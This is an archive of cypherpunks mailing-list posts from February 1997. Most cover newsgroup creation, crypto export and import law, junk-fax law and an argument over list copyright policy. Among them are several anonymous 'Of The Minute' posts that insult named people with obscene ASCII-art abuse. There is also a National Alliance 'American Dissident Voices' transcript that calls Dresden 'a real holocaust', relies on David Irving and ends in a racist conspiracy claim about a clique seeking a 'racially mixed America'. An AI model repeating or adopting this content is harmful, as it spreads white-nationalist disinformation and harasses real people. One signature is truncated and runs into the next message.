Be The Whole Of The Law" > Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Fri Feb 14 03:28:24 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Fri, 14 Feb 1997 03:28:24 -0800 (PST) Subject: alt.cypherpunks Message-ID: <855918957.105161.0@fatmans.demon.co.uk> > > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart, > > consiencous newsadmins probably did not honor the rmgroup, as > > alt.cypherpunks should be acceptable, but most newsadmins are too > > overworked to actually look at most of the crap that comes through. > > For example, it hasn't received any messages on my news server, > > probably because the one upstream removed it. > > Seems I'm getting alt.cypherpunks.announce (empty), but not > alt.cypherpunks or any of the others that show up as newgroup'ed on > Deja News... Are they alive and well elsewhere? All of the groups have showed up at news.demon.co.uk (not suprisingly since I grouped them) and I haven`t seen any cancels. I was sent a message by some net.scum about him nearly rmgrouping alt.cypherpunks.announce because it was unmoderated but he got a stern "cypherpunk" talking to for that ;-) Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From jcr at idiom.com Fri Feb 14 03:31:43 1997 From: jcr at idiom.com (John C. Randolph) Date: Fri, 14 Feb 1997 03:31:43 -0800 (PST) Subject: More on digital postage Message-ID: <199702141131.DAA17173@idiom.com> Tim may says: >By the way, I think the "junk fax" and "junk phone call" laws are clearcut >violations of the First Amendment. I understand why the herd _wants_ these >laws, as it reduces the costs involved in replacing fax paper, running to >the telephone only to find someone trying to sell something, etc., but it >is quite clearly a prior restraint on speech, however well-intentioned. I have to disagree here. The junk fax law is a restraint on unauthorised use of property, i.e. *my* fax machine, *my* phone, etc. That tort of unauthorised use of property applies, whether someone's sending me a fax to sell me spamming software, or whether it's some kid ringing my doorbell and running away. It's not the speech that I'm fighting, it's the misuse of my property. Freedom of speech does not confer a right to use other people's property. -jcr From aba at dcs.ex.ac.uk Fri Feb 14 05:07:39 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Fri, 14 Feb 1997 05:07:39 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] In-Reply-To: <199702140723.XAA25771@toad.com> Message-ID: <199702140921.JAA00328@server.test.net> Declan McCullagh writes: > But the veteran cypherpunk came under heavy fire in November 1996, > when a loudmouthed flamer flooded the list with flame bait and ad > hominem attacks on various members. Finally, Gilmore, ironically, gave > him the boot [...] > > Indeed, for months Gilmore seemed unable to do anything right. He > tried moderation, which proved to be even more contentious, [...] > > After the expulsion, some of the longtime list denizens left > angrily, joining the 700 subscribers who had departed since the > controversy began. One of those was Tim C. May, a crusty former Intel > engineer who prides himself as the organizer of the first cypherpunk > meeting in September 1992. Tim left when the moderation experiment started, not after John unsubscribed Dimitri, and blocked him from re-subscribing. What does `crusty' mean as applied to a former Intel engineer? Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: anand abhyankar writes: > 1) is it illegal to develop an encryption tool (s/w) outside the US > which uses > 40 bit size session keys and then import that s/w inside of > the US. Not currently. -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH warlord at MIT.EDU PGP key available From nobody at wazoo.com Fri Feb 14 06:35:31 1997 From: nobody at wazoo.com (Anonymous) Date: Fri, 14 Feb 1997 06:35:31 -0800 (PST) Subject: Rubber hoses Message-ID: <199702141435.HAA21564@earth.wazoo.com> Dildo Vegetable K[ondom] Of The Minute grew a beard to look like his mother. (~\/~) /~'\ /`~\ _ _ `\ /'( ` ) ( `\/' ) `' `\ /' `\ /' Dildo Vegetable K[ondom] Of The Minute `\ /' `\/' ' From jer+ at andrew.cmu.edu Fri Feb 14 06:41:29 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Fri, 14 Feb 1997 06:41:29 -0800 (PST) Subject: crypto restrictions Message-ID: <199702141441.GAA06709@toad.com> -----BEGIN PGP SIGNED MESSAGE----- anand abhyankar writes: > Jeremiah A Blatz wrote: > > thanx for ur answer but then i have another question. > > 1) is it illegal to develop an encryption tool (s/w) outside the US > which uses > 40 bit size session keys and then import that s/w inside of > the US. It's legal in the US, but other countries have export restrictions, too. They're usually pretty hard to find out about, especially considering that the people who passed the laws don't have a clue what the law means. Your best place to check is the Crypto Law Survey at http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm The disclamer states that the findings may not be "exaustive or legally reliable," and given the opacity of crypto laws, you'd better belive it. That said, it is an excellent resource. cypherpunks newbie patrol, Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwQOAckz/YzIV3P5AQFUJgL+KhGiQ/N6Nrt95d4UhF+MFUtTxsbWUTDx 5cKtCz2HEG4TqoHQJ0vt/njOMqzBdNgVma9vqC/cWoczOgRXHEmcPuXN0Zd2fOKT KxMOtZzLwvCUSJEYY8q9PZ5lY4NIDcyQ =W32O -----END PGP SIGNATURE----- From trei at process.com Fri Feb 14 06:44:37 1997 From: trei at process.com (Peter Trei) Date: Fri, 14 Feb 1997 06:44:37 -0800 (PST) Subject: crypto restrictions Message-ID: <199702141444.GAA06809@toad.com> > Date: Fri, 14 Feb 1997 11:51:18 -0800 > From: anand abhyankar > To: cypherpunks at toad.com > Subject: Re: crypto restrictions > Jeremiah A Blatz wrote: > > thanx for ur answer but then i have another question. > > 1) is it illegal to develop an encryption tool (s/w) outside the US > which uses > 40 bit size session keys and then import that s/w inside of > the US. > > anand.... No. Peter Trei Senior Software Engineer Purveyor Development Team Process Software Corporation http://www.process.com trei at process.com From nobody at wazoo.com Fri Feb 14 06:48:15 1997 From: nobody at wazoo.com (Anonymous) Date: Fri, 14 Feb 1997 06:48:15 -0800 (PST) Subject: Sphere packing Message-ID: <199702141448.HAA21975@earth.wazoo.com> Deceased Vulture K[ock] Of The Minute uses an Adolf Hitler action figure as a dildo. /"\ |\./| | | | | |>*<| | | /'\| |/'\ /'\| | | | | %%%%% | |\ | | | | | \ | * * * * |> > Deceased Vulture K[ock] Of The Minute | / | / | / \ | |--/'''\--| | |--+= | | |--\.../--| From snow at smoke.suba.com Fri Feb 14 06:56:01 1997 From: snow at smoke.suba.com (snow) Date: Fri, 14 Feb 1997 06:56:01 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702141456.GAA07155@toad.com> Pete: > Yes, but why does monetary compensation make it then O.K.? I'd rather > pay for my Internet access, then be bombarded by spam, no matter what > they paid me! I think the best soln. is the one that is currently in > place for phone calls - they can call once, but if I tell them not to > call me again and they do, I can then begin legal action against them. > I pay more per month for my phone service than my Internet service ( > although in NY, *everything* is more expensive. ), and junk phone calls > are way more intrusive then spam. I figure if this scheme comes to fruition, I'll just set up a seperate account (or procmail) to filter out the spam, deposit the coin, and go on about my business. From stewarts at ix.netcom.com Fri Feb 14 06:56:02 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Fri, 14 Feb 1997 06:56:02 -0800 (PST) Subject: FW: I would like to be out of your mailing list Message-ID: <199702141456.GAA07158@toad.com> At 06:00 PM 2/13/97 +0200, you wrote: > >I would like to get out of your mailing list , >please indicate the correct procedure. Thanks. Send mail to cypherpunks-request on the machine sending you mail saying "help" and you'll get instructions. Servers include toad.com, manifold.algebra.com or cyberpass.net. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From adam at rosa.com Fri Feb 14 06:56:07 1997 From: adam at rosa.com (Adam Philipp) Date: Fri, 14 Feb 1997 06:56:07 -0800 (PST) Subject: crypto restrictions Message-ID: <199702141456.GAA07172@toad.com> At 11:51 AM 2/14/97 -0800, anand abhyankar wrote: >Jeremiah A Blatz wrote: > >thanx for ur answer but then i have another question. > >1) is it illegal to develop an encryption tool (s/w) outside the US >which uses > 40 bit size session keys and then import that s/w inside of >the US. > >anand.... > Not under US law... -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\ | My PGP key is available on my |Unauthorized interception violates | | home page: http://www.rosa.com |federal law (18 USC Section 2700 et| |=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|seq.). In any case, PGP encrypted | |SUB ROSA...see home page... |communications are preferred for | | -=[ FUCK THE CDA]=- |sensitive materials. | \=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-/ If A is a success in life, then A = x + y + z. Work is x; y is play; and z is keeping your mouth shut. Albert Einstein (1879-1955) From paul at fatmans.demon.co.uk Fri Feb 14 06:56:13 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Fri, 14 Feb 1997 06:56:13 -0800 (PST) Subject: You guys/gals oughta get a kick outta this guy Message-ID: <199702141456.GAA07194@toad.com> > > Yet another person who needs a good stern talking to by the nearest > > cypherpunk --- this guy posted to comp.lang.perl.misc with the following > > blasphemy, which I luaghed at until I had tears in my eyes. > > --BEGIN COMPLETE STUPIDITY-- > > I want to make it executable to protect the source code from being read. I > > don't want the source code available because I don't want people looking > > for security holes. > > --END COMPLETE STUPIDITY-- NO! - It must be impossible to be this naive! - Thanks for the post, I laughed until I displaced a kidney ;-) Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From tcmay at got.net Fri Feb 14 06:56:14 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 14 Feb 1997 06:56:14 -0800 (PST) Subject: crypto restrictions Message-ID: <199702141456.GAA07195@toad.com> At 11:51 AM -0800 2/14/97, anand abhyankar wrote: >Jeremiah A Blatz wrote: > >thanx for ur answer but then i have another question. > >1) is it illegal to develop an encryption tool (s/w) outside the US >which uses > 40 bit size session keys and then import that s/w inside of >the US. There are no import restrictions at this time. The IDEA cipher, for example, was developed in Europe and U.S. developers can import it and put in products. However, once imported it becomes controlled for export again! Also, it may be a violation of the EAR regs to deliberately seek to bypass the export laws by arranging for foreign development of a module which is then "dropped in" when the product is shipped outside the U.S. It may also be illegal to include "software hooks" for crypto modules to be attached to. Exactly how far one can go, or what it might take to trigger a government prosecution for such actions, is unclear. The laws are not very precise, and court precedents are lacking. (There are many wrinkles here; you seem to have a lot of questions, which is good. However, it is best for you to read a comprehensive article on these issues--use a Web search engine to find the latest versions.) --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From ravage at EINSTEIN.ssz.com Fri Feb 14 06:56:26 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Fri, 14 Feb 1997 06:56:26 -0800 (PST) Subject: Private property & the cypherpunks list(s) (fwd) Message-ID: <199702141456.GAA07230@toad.com> Forwarded message: > Date: Thu, 13 Feb 1997 02:08:21 -0800 > From: Greg Broiles > Subject: Private property & the cypherpunks list(s) > Jim Choate wrote: > > > Please explain how making submissions de facto public domain censors > > anyone? > > What the fuck is "de facto public domain"? It's public domain, or it's > not. The same thing as the current 'de facto copyright'. It's copyrighted or it's not. What's your point here? > Your scheme imposes a cost (loss of intellectual property rights) > against authors who would like to make themselves heard. I am taking intellectual property rights from nobody. If anything I am giving unlimited intellectual rights to the material to humankind for posterity. Sorta cypherpunkish, don't you think? > It also > prevents a certain class of messages (those messages whose status is > "copyright claimed") from being distributed. Completely untrue. What it does is say "anything published which does not explicity have a copyright related statement on it is public domain". If you want to keep rights to it, that is fine. Just tell 'em that up front. The actual cost to those of us who feel that statements made in such a forum as this are inherently intended for the betterment of mankind, and therefore a priori copyright is not in the best interest of distribution of those ideas, is no different than the cost under defacto copyright to use fair use headers for public domain material. I believe that such an approach would be economicaly helpful as well. It would provide a market for collecting, organizing, and distributing the content of such material for wider distribution. Under the current standard a small business which wanted to connect to the network, archive the material, catalog it, package it, and distribute it would technicaly have to contact the 1,000+ members and get their specific fair use contracts resolved. This way there is nothing to resolve, if there is a copyright notice and doesn't specificaly permit such use that message would be dropped. The rest would be available for wider distribution and storage. > Further, your suggestion > that posters be required to include a "fair use header" is compelled > speech. So is requiring me to post a "fair use header" if I want my material public domain by default. You call it 'tomatoe', I call it 'tomahto'. It comes down to what is best for society and what 'best' means. If best in your book equals 'maximize profit potential' then the current standard is best. If, however, your definition is 'spread the idea as far and wide as possible, may it flourish and have many offspring' then we need to go back to the old standard. > That's three flavors of "censorship" right there. I thought that the new > list(s) were supposed to allow anyone to say anything they wanted. None of these qualify as censorship, I am not applying anything to anyone that is not being currently applied now. I am only taking the alternate tack, which was the legal tact until mid-80's. > (Does "no fair use" count as a "fair use header"? It's not legally > enforceable, but it seems like the easiest way to specify "minimum fair > use required by law". If not, are you planning to moderate the list to > make sure that people use only approved fair use headers? Hmm.) No need to moderate the list, it does it for me. I don't do anything with the messages, simply let them come and go. Those with no header would be fair game for anyone to use for any purpose they chose. I would hold that your position of implied copyright is a censorship because it prohibits persons from using the material without the authors permission (and probably paying a fee, economic censorship). Cypherpunkish? I think not. Mercenary, could be. > Even if the "copyright abandonment by implication" trick works (and I > suspect it will not, It certainly did until the mid-80's. It certainly is no more of a trick than the forcing of copyright on those who don't want it. > given that an assignment or transfer of copyright > must be in writing, 17 USC 204; And I hold that the submission of a subscription request and the acceptance of the subscription notice conditions received as a reply qualify as that written transfer. If they are unacceptable unsubscribe, which is described in detail in the same subscription notice that details the conditions of access. > and abandonment is essentially an > assignment or transfer to the public domain), it will not apply to all > text sent to the list. A good thing. > A person cannot abandon or assign something they > do not have; so if someone sends a message to the list which contains > text whose copyright is held by a third party, that copyright will still > be valid. That is a good thing. A person should not harm another or their property without their prior permission. > So what you've got is a list where you can't be sure that its contents > are public domain, and a draconian rule requiring authors to give up > their rights to what they've written. I have not required anyone to give up anything. All I have required is that authors specificaly state that they want to retain rights to the document. This is no more draconian than requiring a person to write a public domain release on their text if that is their choice. What we have now is a list where the messages come flying across my screen and I can't use them anywhere else unless I go and get somebodies permission first. Is that freedom of speech? Freedom of the press? Sounds more like economic strangulation of technological and social progress and the hindering of the spreading of knowledge. > Do you imagine that all of the many-majordomo servers will implement > your "public domain only" rule, or only yours? No, the point was that different servers could have different policies. That hypothesis is now thoroughly proved wrong. We also now have clear evidence that at least some of the Cypherpunk ideals are not real-world. What we have now is the imposition of these implicit regulations across all the remailers, in some cases against their will. This is not compromise but rather capitulation through duress. Implicit copyright is censorship. This realization is the reason that I dropped it for the cypherpunks list. It was clear that pressing for server-dependant policies was not tenable. > If the rule is intended to apply to all servers, and servers aren't > going to be allowed into the network I am amazed at your ability to construe things that were never stated, let alone implied. I was under the impression that a variety of access policies and various filtering schemes was one of the stated goals. I also feel you give me entirely too much credit and not enough to Igor, firebeard, and others who are involved. Whether you know it or not, they are not straw men nor pseudonyms that I employ. > without agreeing to implement it > locally, um, tell me again about that "free speech" thing? Aren't you > just taking advantage of your position as a person working on the > many-majordomos project to impose your ideas about intellectual property > on the rest of the list? Is such a strategy compatible with "free > speech"? No more so than the imposition of copyright to hinder the free and unbridled exchange of ideas. > Also, how could a rule like this possibly be compatible with a Usenet > gateway? There's no chance at all that you can expand a local rule on > your system to all of Usenet through a gateway. A very good argument on why in our current system de facto copyright actualy hinders free exchange of ideas. Thanks, I hadn't thought of that aspect. > And Declan McCullagh wrote: > > >I forward articles to cypherpunks that are copyrighted by my employers, or > >magazines like Playboy and Wired for which I write freelance pieces. > > > >I like to think these articles have some value. I will not forward any of > >them, nor would I be able to, if they magically became "public domain." > > Which are good points Strawman arguments to cover the motives of profit driving them. I suspect that if the magazine (who probably own the actual copyright) agreed to allow them to be presented in total before posting would require that some sort of explicit copyright notice be retained. I am shure the articles have some value, a check was written for them at some point I believe. > - also, don't forget that, from time to time, > people have even posted code to the cpunks list, and many software > authors like to retain copyright in their code so that they can insist > on things like noncommercial distribtion or credit where the code is > reused. If a work is truly "public domain", the author has no power to > insist on those things. Certainly they do, put the statement in the code header - just like any programmer with a clue is going to do now. All I am asking is that you give me a fair shot at figuring out what you individualy want done with your material when I see it. Should I save it for later use or simply shit-can it because I don't want to deal with the hassle of getting permission. Currently I shit-can just about everything for this reason unless it has some sort of technical chart or table I can re-arrange or is related to Advanced Squad Leader or Traveller. Does that sound like the ideal atmosphere to expand knowledge? Is that how you want your ideas and commentary to end up? Hell, under the current system I take a completely unwarranted risk if I do nothing more than print out your email and then show it to somebody else. Why? Because I don't know before hand whether that is ok with you or do you really want to retain distribution rights. To be completely safe I need to email you and ask permission to do that. Unacceptable restraint of speech. The only option that leaves me is no speech because I can't afford it. Not very cypherpunkish. > This proposed rule seems to limit postings to those which are perceived > by their authors to be without commercial or reputational value. Is that > a good idea? Not if that was what was proposed here, fortunately reality bears no resemblance to your interpretation. What I really find interesting is that in the 3 years SSZ has been up and the 8 mailing lists (with about 300 subscribers total) nobody has ever complained about the public domain policy and nobody has ever put a copyright header on their messages. All these lists are technical and several of them are directly involved with technical development of projects, some for commercial apps. Jim Choate CyberTects ravage at ssz.com From gbroiles at netbox.com Fri Feb 14 06:56:28 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Fri, 14 Feb 1997 06:56:28 -0800 (PST) Subject: crypto restrictions Message-ID: <199702141456.GAA07231@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 05:20 AM 2/14/97 -0800, anand abhyankar wrote: >1) is it illegal to develop an encryption tool (s/w) in the US which >uses > 40 bit size session keys and then export that s/w outside of the >US. Yes, that's illegal, unless you get permission for the export. Getting permission requires jumping through many hoops, and is far from a sure thing. (It's easier to count on not getting permission. You almost certainly won't get permission if you want to use >40 bits and you're not going to force your customers to share their keys with the government.) Consequently, the US is a bad place to write crypto software if you want to make it available worldwide. >2) is it illegal to encrypt some data inside the us with a key > 40 bit >in size and then send that data outside the US. Data which may be exported as plaintext may be exported as ciphertext. Data which may not be exported as plaintext may not be exported as ciphertext. But in the latter case, it's harder to catch you. :) -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMwQZ6f37pMWUJFlhAQFbUAf/SWehrYRT4wGzPUNTDvF5wQEOBiuq0cZu pOcqcOHHYiUKdD2txkT4abb7uV2z6E1TAN0q8r5QULkwV/+A3I2ARChHjYeZqyv4 ZvrbIb6UXLxdkz0xTBjGShjfAwGsegJDb9lb83Ha4UaXBAJSV/KdK2Hr7QFJwd5p gSokXHH8VUb/EF5am/5PvQc0rvXsgHeAx2k77wKNclodVy3E62ymaOt/wf/FIPXW ZLo9h18b5TtyRqpmqBHvG8h/YVq6edMFf7zcBmPgw1yzh9/LSH3+M7uhJ0JceT6d fTT6jQUz3+dKDa7rs0s6Kf+X/e10Y0AeJ+kVQgsqsfPqRpFsUjvyLw== =a1sX -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From advinfo at dreamon.com Fri Feb 14 06:56:33 1997 From: advinfo at dreamon.com (Adv Info) Date: Fri, 14 Feb 1997 06:56:33 -0800 (PST) Subject: American Dissident Voices Weekly Transcripts Message-ID: <199702141456.GAA07243@toad.com> --------------------------------------------------------------- American Dissident Voices is a world wide radio program which deals with topics of interest that concern people of European descent. We hope that these weekly articles will offer the reader an opposing viewpoint to the major news media. For more information, please e-mail advinfo at dreamon.com. Please visit our World Wide Web Site at http://www.natall.com. For patriotic books and tapes, visit National Vanguard Books Online Catalog at http://www.natvan.com/cgi-bin/nvbctlg.txt?url=www.natall.com -------------------------------------------- American Dissident Voices Online Radio http://www.natall.com/radio/radio.html Dresden: A Real Holocaust by Kevin Alfred Strom The night of February 13th, and February 14th, Valentine's Day, mark an ominous anniversary in the history of Western Civilization. For beginning on the night of February 13th, 1945, occurred the destruction of Dresden. On the eve of Valentine's Day, 1945, World War II in Europe was nearly over. For all practical purposes Germany was already defeated. Italy, and Germany's other European allies, had fallen by the wayside. The Red Army was rushing to occupy vast areas of what had been Germany in the East, while the allies of the Soviets, the British and Americans, were bombing what was left of Germany's defenses and food and transportation infrastructure into nonexistence. And what was Dresden? Most of you have probably heard of Dresden China, and that delicately executed and meticulously detailed porcelain is really a perfect symbol for that city. For centuries Dresden had been a center of art and culture, and refined leisure and recreation. She was a city of art museums and theatres, circuses and sports stadia, a town of ancient half-timbered buildings looking for all the world like those of medieval England, with venerable churches and centuries-old cathedrals gracing her skyline. She was a city of artists and craftsmen, of actors and dancers, of tourists and the merchants and hotels that served them. Above all, what Dresden was, was defined during the war by what she was not. She had no significant military or industrial installations. Because of this, Dresden had become, above all other things that she was, a city of children, of women, of refugees, and of the injured and maimed who were recovering from their wounds in her many hospitals. These women and children, these wounded soldiers, these infirm and elderly people, these refugees fleeing from the brutal onslaught of the Communist armies to the East, had come to Dresden because it was commonly believed at the time that Dresden would not be attacked. Its lack of strategic or military or industrial significance, and the well-known presence of hundreds of thousands of innocent civilian refugees and even Allied prisoners of war, seemed to guarantee safety to the city. Surely, it was thought, not even a the most powerful and determined enemy would be so depraved and sadistic, and so wasteful of that enemy's own resources, to attack such a city. But the people of Dresden, who were happily attending the cinema or eating dinner at home or watching the show-horses in the circus on that fateful night were wrong, wrong, wrong. And their leaders were also wrong, for the city was virtually open and undefended and only minimal civil defense preparations had been made. Dresden's population had almost doubled in the months before the attack, mainly as a result of the influx of refugees from the Eastern Front, most of them women and young children. According to British historian David Irving, the briefings given to the British bomber squadrons before the attack on Dresden were curiously different. In one, the soldiers were told that their target was the railway center of Dresden. In another, they were told that the target was a poison-gas factory. In yet another, they were told that the target was a marshalling-grounds for troops in the city. Another was told that the target was a major arsenal. These were all lies. The only marshalling-grounds for what few troops were in the area were located well outside the city. The arsenal had burned down in 1916. There were factories for toothpaste and baby-powder in Dresden, but none for poison gas. There were, in fact, no fewer than eighteen railway stations in Dresden, but only one was hit by the bombing, and that was barely touched and in fact was operating again just three days later. According to copious documentation unearthed by David Irving from the archives of the American and British governments, the point of the attack was in fact to inflict the maximum loss of life on the civilian population and particularly to kill as many refugees as possible who were fleeing from the Red Army. In achieving these goals it was highly successful. It was thus planned and executed by those at the very highest levels of the British and American governments, who to attain their purposes even lied to their own soldiers and citizens, who to this day have never been told the full story by their leaders. How was this devastating effect accomplished? At 10:10 PM on February 13th, the first wave of the attack, consisting of the British Number 5 Bomber Group, began. The attacking force consisted of about 2,000 bombers with additional support craft, which dropped over 3,000 high explosive and 650,000 incendiary bombs (more commonly known as firebombs) on the center of the city. Incendiary bombs are not known for their efficiency per pound in destroying heavy equipment such as military hardware or railroad tracks, but are extremely effective in producing maximum loss of human life. The loads carried by the bombers were over 75 per cent incendiaries. In fact, the goal of the first wave of the attack was, according to British air commander Sir Arthur Bomber Harris, to set the city well on fire. That he did. The lack of any effective anti-aircraft defenses allowed the bombers to drop to very low altitudes and thus a relatively high degree of precision and visual identification of targets was achieved. Despite the fact that they could clearly see that the marked target area contained hospitals and sports stadia and residential areas of center city Dresden, the bombers nevertheless obeyed orders and rained down a fiery death upon the unlucky inhabitants of that city on a scale which had never before been seen on planet Earth. Hundreds of thousands of innocents were literally consumed by fire, an actual holocaust by the true definition of the word: complete consumption by fire. The incendiaries started thousands of fires and, aided by a stiff wind and the early-on destruction of the telephone exchanges that might have summoned firefighters from nearby towns, these fires soon coalesced into one unimaginably huge firestorm. Now such firestorms are not natural phenomena, and are seldom created by man, so few people have any idea of their nature. Basically, what happened was this: The intense heat caused by the huge column of smoke and flame, miles high and thousands of acres in area, created a terrific updraft of air in the center of the column. This created a very low pressure at the base of the column, and surrounding fresh air rushed inward at speeds estimated to be thirty times that of an ordinary tornado. An ordinary tornado wind-force is a result of temperature differences of perhaps 20 to 30 degrees centigrade. In this firestorm the temperature differences were on the order of 600 to 1,000 degrees centigrade. This inward-rushing air further fed the flames, creating a literal tornado of fire, with winds in the surrounding area of many hundreds of miles per hour--sweeping men, women, children, animals, vehicles and uprooted trees pell-mell into the glowing inferno. But this was only the first stage of the plan. Exactly on schedule, three hours after the first attack, a second massive armada of British bombers arrived, again loaded with high explosive and massive quantities of incendiary bombs. The residents of Dresden, their power systems destroyed by the first raid, had no warning of the second. Again the British bombers attacked the center city of Dresden, this time dividing their targets--one half of the bombs were to be dropped into the center of the conflagration, to keep it going, the other half around the edges of the firestorm. No pretense whatever was made of selecting military targets. The timing of the second armada was such as to ensure that a large quantity of the surviving civilians would have emerged from their shelters by that time, which was the case, and also in hopes that rescue and firefighting crews would have arrived from surrounding cities, which also proved to be true. The firefighters and medics thus incinerated hadn't needed the telephone exchange to know that they were needed--the firestorm was visible from a distance of 200 miles. It is reported that body parts, pieces of clothing, tree branches, huge quantities of ashes, and miscellaneous debris from the firestorm fell for days on the surrounding countryside as far away as eighteen miles. After the attack finally subsided, rescue workers found nothing but liquefied remains of the inhabitants of some shelters, where even the metal kitchen utensils had melted from the intense heat. The next day, Ash Wednesday and Valentine's Day, 1945, medical and other emergency personnel from all over central Germany had converged on Dresden. Little did they suspect that yet a third wave of bombers was on its way, this time American. This attack had been carefully coordinated with the previous raids. Four hundred fifty Flying Fortresses and a support contingent of fighters arrived to finish the job at noon. I quote from David Irving's The Destruction of Dresden: "Just a few hours before Dresden had been a fairy-tale city of spires and cobbled streets .... now total war had put an end to all that. ...The ferocity of the US raid of 14th February had finally brought the people to their knees... but it was not the bombs which finally demoralised the people ... it was the Mustang fighters, which suddenly appeared low over the city, firing on everything that moved .... one section of the Mustangs concentrated on the river banks, where masses of bombed-out people had gathered. ... British prisoners who had been released from their burning camps were among the first to suffer the discomfort of machine-gunning attacks .... wherever columns of tramping people were marching in or out of the city they were pounced on by the fighters, and machine-gunned or raked with cannon fire." Ladies and gentlemen, on this program I can only give you a bare glimpse of the inhuman horror of the holocaust of Dresden. In Dresden, no fewer than 135,000 innocent victims died, with some estimates as high as 300,000. More died in Dresden than died in the well-known attacks on Hiroshima and Nagasaki. More destruction befell Dresden in one day than was inflicted on the whole of Britain during the entire war. And yet you haven't been told. I urge every one of you to read The Destruction of Dresden by David Irving. I assure you, after reading Irving's book, you will never take seriously the Establishment's version of what happened in that war again. What you ought to take seriously, though, is the fact that the same clique that controlled the traitorous Roosevelt and Churchill governments, whose hatred of our race and civilization and whose alliance with Communism were the real causes of the holocaust of Dresden, still controls our government and our media today. It is they who are pushing for a disarmed, racially mixed America. It is they who promote the teaching of sodomy to our young children. It is they who are destroying our industrial infrastructure in the name of a global economy. It is they who created the drug subculture and then also the police state agencies which pretend to fight it. The hour is very late for America and indeed for all of Western civilization. But if patriots will heed our call, then there is no reason for despair. For the enemies of our nation may have power, but their power is based on lies. Won't you help us cut through the chain of lies that holds our people in mental slavery? ~ National Alliance Main Page http://www.natvan.com From nobody at wazoo.com Fri Feb 14 06:56:55 1997 From: nobody at wazoo.com (Anonymous) Date: Fri, 14 Feb 1997 06:56:55 -0800 (PST) Subject: Copyright violations Message-ID: <199702141456.HAA22269@earth.wazoo.com> Dr.Dimitri Vinyl K[unt]OfTheMinute has been fired for stealing blow jobs. _<_ (_|_( Dr.Dimitri Vinyl K[unt]OfTheMinute \-._|_,-, `-----' From gnu at toad.com Fri Feb 14 06:57:54 1997 From: gnu at toad.com (John Gilmore) Date: Fri, 14 Feb 1997 06:57:54 -0800 (PST) Subject: Want a job as a Crypto Researcher or Research Scientist? Message-ID: <199702141457.GAA07301@toad.com> I can't vouch for any of it, and I have my doubts about any company that decides whether you're a "Scientist" based on whether you have a PhD, but I thought it might put a cypherpunk in a position to do some good: Date: Thu, 13 Feb 1997 13:30:52 -0700 From: dnne Subject: CRYPTO RESEARCHER OR SCIENTIST John, I would greatly appreciate your recommendation. I am trying to fill a RESEARCHER and a RESEARCH SCIENTIST position for a leading East Coast developer of encryption technology for the computer industry. RESEARCHERS will work in conjunction with Research Scientists on research projects covering all aspects of cryptography--from algorithms, to protocols, to implementation. RESEARCHERS also provide technical support to software developers and to the company customers through consulting and educational activities. RESEARCHERS should have at least a B.S. and preferably an M.S. in computer science, mathematics, or a closely related field. Solid exposure to cryptography either through practical experience or within academic pursuits is highly desirable. RESEARCH SCIENTIST candidates should have a Ph.D. or equivalent research experience in cryptography. This company provides a very competitive compensation and benefits package as well as company paid relocation benefits. Thanks, Dan Barrus Senior Technical Recruiter Cutting Edge Technologies Voice: 800-881-7212 Fax: 801-373-3024 From paul at fatmans.demon.co.uk Fri Feb 14 06:58:04 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Fri, 14 Feb 1997 06:58:04 -0800 (PST) Subject: No Subject Message-ID: <199702141458.GAA07308@toad.com> Cypherpunks, I have newsgrouped some further alt.groups as follows: alt.cypherpunks.announce 